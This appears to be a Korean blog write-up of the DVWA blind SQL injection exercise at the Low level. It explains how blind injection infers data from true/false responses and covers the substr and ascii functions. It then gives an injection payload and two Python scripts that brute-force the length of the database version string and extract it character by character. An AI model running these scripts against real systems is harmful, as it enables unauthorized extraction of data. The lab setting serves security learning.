Network/DVWA
Exercise 8. SQL Injection (Blind)
dcho
2019. 8. 8. 06:26
SMALL
블라인드 SQL 인젝션 공격이란?
- 장님(blind man)이 지팡이를 이용해 집을 찾아갈때 바닥을 두드리며 이곳이 어딘지 이길이 맞는지 1개씩 짚어보는 것과 같이, 조건문 실행 결과에 원하는 값 1글자가 ascii 값으로 50 보다 큰지 100 보다 큰지 비교하여 1글자씩 데이터를 알아내는 공격기법이다.
- 일반적인 SQL 인젝션 의 경우 조작된 쿼리를 입력 해 한번에 원하는 데이터를 얻을 수 있지만, 블라인드 SQL 인젝션은 쿼리 결과에 따른 서버의 참과 거짓 반응을 통해 공격을 수행한다.
1을 입력했을때 원하는 데이터를 보여주는 것이 아닌 존재한다 즉, 참으로 결과를 보여주는 것을 알 수 있다.
6을 입력했을때는 존재하지 않다고 보여주고 있다.
블라인드 SQL 인젝션을 수행하기 앞서 필요한 기본적인 함수에 대해 알아 보고자 한다.
- substr
- substr은 문자열을 자를 때 사용하는 함수, 사용 방법은 다음과 같다.
substr(자를 문자열, 자를 문자의 시작점, 자를 문자 개수)
ex) str = substr("dominic",1,3)
결과값 : str 에는 dom 이 저장된다. (첫번째부터 3개의 문자가 저장)
- ascii
- ascii 함수는 문자의 아스키 코드 값을 반환해 주는 함수이다.
ascii(아스키 코드로 반환 할 문자)
ex) ascii(a)
결과값 a의 아스키 코드 값인 97 반환
+ 추가적으로 ord , urllib, request 함수를 이용할 수 도 있고
+ 결과는 랭스체크를 이용한다.
DVWA 실습
(Low)
먼저 소스를 확인해 주었다.
// Query
SELECT version()
(이건 마리아DB이고)
(출처 : 제타위키)
MySQL 버전을 확인하는 법은 다음과 같았다.
//폼에 입력한 값
1' AND length(version())=1#
브루트포스 공격을 이용해 먼저 저 숫자를 변경해 주어 랭스를 구했다.
import requests
from urllib import parse
i = 0
for i in range(1,50):
param={
'id': ("1\' AND length(version())=%d#" % i),
'Submit':'Submit'
}
headers = {
'Upgrade-Insecure-Requests': '1' ,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/75.0.3770.142 Safari/537.36'
,'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'
,'Referer': 'http://<dvwa url>/vulnerabilities/sqli_blind/?
id=1%27+AND+1%3Dsubstr%28SELECT+version%28%29%2C1%2C2%29%23&Submit=Submit'
,'Accept-Encoding': 'gzip, deflate'
,'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
,'Cookie': 'PHPSESSID=h1k4moa1529m5pnpbqevflj2fc; security=low'
,'Connection': 'close'
}
cookies = {
'PHPSESSID': 'h1k4moa1529m5pnpbqevflj2fc',
'security':'low'
}
r = requests.get("http://<dvwa url>/vulnerabilities/sqli_blind/",params=param,headers=headers,cookies=cookies)
print(str(i)+':'+str(r.status_code))
id칸에 길이를 알기위해 파이썬 코드를 작성해 GET request를 보냈다.
import requests
from urllib import parse
for i in range(1,24):
for j in range(0,127):
param={
'id': "1\' AND substr(version(),"+str(i)+",1)='"+chr(j)+"'#",
'Submit':'Submit'
}
headers = {
'Upgrade-Insecure-Requests': '1' ,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/75.0.3770.142 Safari/537.36'
,'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'
,'Referer': 'http://<dvwa url>/vulnerabilities/sqli_blind/?
id=1%27+AND+1%3Dsubstr%28SELECT+version%28%29%2C1%2C2%29%23&Submit=Submit'
,'Accept-Encoding': 'gzip, deflate'
,'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7'
,'Cookie': 'PHPSESSID=h1k4moa1529m5pnpbqevflj2fc; security=low'
,'Connection': 'close'
}
cookies = {
'PHPSESSID': 'h1k4moa1529m5pnpbqevflj2fc',
'security':'low'
}
r = requests.get("http://<dvwa url>/vulnerabilities/sqli_blind/",params=param,headers=headers,cookies=cookies)
if( (r.status_code == 200)):
print(chr(j),end='')
break
문자를 각각 하나하나씩 비교해서 status_code 200이면 출력할수 있도록 짜준 파이썬 코드이다.
(200인 이유는 틀리면 404가 떴고 맞으면 200이 떴기 때문에)
이렇게 찾았다!